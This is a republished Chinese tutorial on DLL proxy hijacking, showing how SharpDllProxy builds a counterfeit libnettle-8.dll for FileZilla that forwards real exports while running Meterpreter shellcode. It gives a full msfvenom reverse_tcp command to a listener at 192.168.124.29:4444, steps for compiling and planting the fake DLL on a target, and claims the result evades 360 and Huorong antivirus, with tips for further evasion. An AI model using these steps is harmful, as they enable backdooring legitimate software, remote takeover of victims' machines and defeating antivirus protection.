如何进行DLL代理转发与weiquan分析

DLL劫持

再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。但不是所有的dll都会被写入这个注册表,因此就会产生DLL劫持。

使用msfvenom生成的dll直接秒杀。如何进行DLL代理转发与weiquan分析

SharpDllProxy

听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.

前言

先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:如何进行DLL代理转发与weiquan分析

实验过程

目标程序

花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:如何进行DLL代理转发与weiquan分析

如何进行DLL代理转发与weiquan分析

那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。

生成shellcode



msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin

实验开始

首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。

直接使用 vs 打开 文件下的SharpDllProxy –》 生成解决方案如何进行DLL代理转发与weiquan分析如何进行DLL代理转发与weiquan分析

使用SharpDllProxy.dll生成一个假冒的libnettle-8.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.SharpDllProxy.exe –dll libnettle-8.dll –payload shell.bin如何进行DLL代理转发与weiquan分析

生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。如何进行DLL代理转发与weiquan分析

分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。如何进行DLL代理转发与weiquan分析

到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。这里是按照二进制的方式读入然后使用VirtualAlloc内存操作执行shellcode。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。如何进行DLL代理转发与weiquan分析

使用 VS 编译上面的C文件。文件—》新建—》项目—》动态链接库–》项目名为 libnettle-8。复制上面的C文件代码到VS中编译如何进行DLL代理转发与weiquan分析如何进行DLL代理转发与weiquan分析

将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。如何进行DLL代理转发与weiquan分析如何进行DLL代理转发与weiquan分析

使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。如何进行DLL代理转发与weiquan分析

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:如何进行DLL代理转发与weiquan分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28940

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年9月22日 下午10:14
下一篇 2022年9月22日 下午10:16

相关推荐

  • Spring框架基于注解怎么开发CRUD

    1. Maven坐标 <!– https://mvnrepository.com/artifact/org.springframework/spring-webmvc –><dependency> <groupId>org.springframework&lt…

    2022年8月27日
    5300
  • windows打印机出现0x000006b9如何解决

    解决方法: 方法一: 1、首先我们按下键盘“win+r”,然后输入“services.msc”回车确定打开服务列表。 2、然后在其中找到“windows firewall”服务,右键选中点击“启动” 3、开启之后,我们进入“控制面板” 4、接着在其中找到并进入“查看设备和打印机” 5、然后在其中找到…

    2022年9月15日
    5600
  • SQL注入类型是什么

    前言 SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。 可显注入 攻击者可以直接在当前界面内容中获取想要获得的内容。 报错注入 数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中…

    2022年9月6日
    15200
  • php如何对数组逆向排序且不保留键名

    实现步骤:1、利用array_reverse()函数对数组进行逆向排序,语法“array_reverse(原数组)”,会返回一个逆向数组;2、使用array_values()函数重置逆向数组的键名,语法“array_values(逆向数组)”,被返回的数组将使用数值键,从0开始且以1递增。 本教程操…

    2022年9月18日
    9500
  • 打开cad时winds找不到文件如何解决

    解决方法: 1、右击当前dwg文件,点击“打开方式”选择“默认程序”。 2、打开方式窗口点击“浏览”。 3、点击浏览后看到程序安装目标,在目录选中acad.exe然后打开。 4、返回到打开方式点击“确定”即可。 “打开cad时winds找不到文件如何解决”的内容就介绍到这里了,感谢大家的阅读。如果想…

    2022年9月8日
    42200
  • SQLMAP插件tamper编写与使用的方法是什么

    一、SQLMAP插件tamper简介 我们在安装SQLMAP后,一般来说会有一个名为tamper的目录,在该目录下,有很多python脚本,这些python脚本,就是sqlmap的插件,tamper翻译成中文是过滤的意思,这些脚本,对sqlmap的payload进行一定的修改,将其中容易被拦截的关键…

    2022年8月27日
    27900
  • frida如何抓apk网络包

    一 . 埋头分析踩坑路 从系统的角度去寻找hook点,而不是为了抓包而抓包。 1.okhttp调用流程 public static final MediaType JSON= MediaType.get(“application/json; charset=utf-8”);OkHttpClient …

    2022年9月8日
    44000
  • mysql如何查询第几条数据

    查询第几条数据的方法:使用SELECT语句配合LIMIT子句来查询,语法“SELECT *|字段名列表 FROM 表名 LIMIT 初始位置,记录数;”或“SELECT *|字段名列表 FROM 表名 LIMIT 记录数 OFFSET 初始位置;”。LIMIT子句可指定查询结果从哪条记录开始显示,显…

    2022年9月22日
    29700
  • 疫情期间,HR团队是如何实行远程办公的?

    2020年的春节是个不平常的春节,新型冠状病毒突如其来,为了控制病毒传播,国务院办公厅宣布延长2020年春节假期至2月2日,各地政府也相继出台了延期开工政策。 Worktile积极响应国家政策,保障每位员工的身体健康,决定全体员工先在家远程办公。为了战胜疫情,实现真正有效率有成果的远程办公,公司HR…

    2022年3月20日
    21600
  • windows steam错误代码105如何解决

    steam错误代码105解决方法: 1、首先打开steam设置,然后点击左侧的“网页浏览器”。 2、然后选择“删除网页浏览器缓存”,再点击“删除所有浏览器cookie”。 3、右击右下角网络,点击属性然后进入网络选项,双击“Internet协议版本4”。 4、随后可以进入dns修改界面,此时可以设置…

    2022年8月31日
    27600
联系我们
站长微信
站长微信
分享本页
返回顶部